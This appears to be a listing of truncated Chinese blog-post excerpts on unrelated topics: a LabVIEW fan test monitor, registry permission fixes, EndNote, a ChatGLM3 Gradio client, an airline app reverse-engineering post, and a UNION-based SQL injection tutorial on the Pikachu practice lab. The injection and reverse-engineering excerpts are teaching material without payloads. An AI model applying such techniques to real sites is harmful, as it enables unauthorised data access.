开发了一种基于LabVIEW的风机跑合监控系统&#xff0c;提高风机测试的效率和安全性。系统通过自动控制风机的启停、实时监控电流和功率数据&#xff0c;并具有过流保护功能&#xff0c;有效减少了人工操作和安全隐患&#xff0c;提升了工业设备测试的自动化和智能化水平。 项目…

解决注册表删除Google报错问题

删除注册表中的Google时报错&#xff1a; 解决方式&#xff1a; 1、右键com.microsoft.browsercore&#xff0c;选择【权限】&#xff0c;在弹出的窗口中点击【高级】 2、可以看到现在的所有者是&#xff1a;TrustedInstaller&#xff0c;点击【更改】 3、点击选择用户和组中的…

东方航空逆向

声明(lianxi a15018601872) 本文章中所有内容仅供学习交流使用&#xff0c;不用于其他任何目的&#xff0c;抓包内容、敏感网址、数据接口等均已做脱敏处理&#xff0c;严禁用于商业用途和非法用途&#xff0c;否则由此产生的一切后果均与作者无关&#xff01; …

问题解决|endnote文献手工导入

一、背景介绍 手工导入一篇文献是指手动编辑文献的相关信息Preference。为什么要手动这么麻烦&#xff1f;因为有的文献比较老只有纸质版本&#xff0c;有的文献信息不全&#xff0c;有的则是没有编码无法识别等等&#xff0c;需要手工录入&#xff1b;一般需要手工录入的情况比…

使用gradio搭建私有云ChatGLM3网页客户端

【图书推荐】《ChatGLM3大模型本地化部署、应用开发与微调》-CSDN博客 通过简单的代码领略一下ChatGLM3大模型_chatglm3 history怎么写-CSDN博客 对于一般使用网页端完成部署的用户来说&#xff0c;最少需要准备一个自定义的网页端界面。在网页端界面上&#xff0c;可以设置文…

5.SQL注入-通过union进行获取数据-字符型

通过union进行获取数据-字符型 在pikachu上查询kobe&#xff0c;出现了两个字段id和email 在后台和前端查询是一样的出现数据&#xff0c;也就是有两个字段&#xff1a;id和email 通过sql语句order by 以列的形式排序&#xff0c;没有第三列&#xff0c;所以order by 3 报…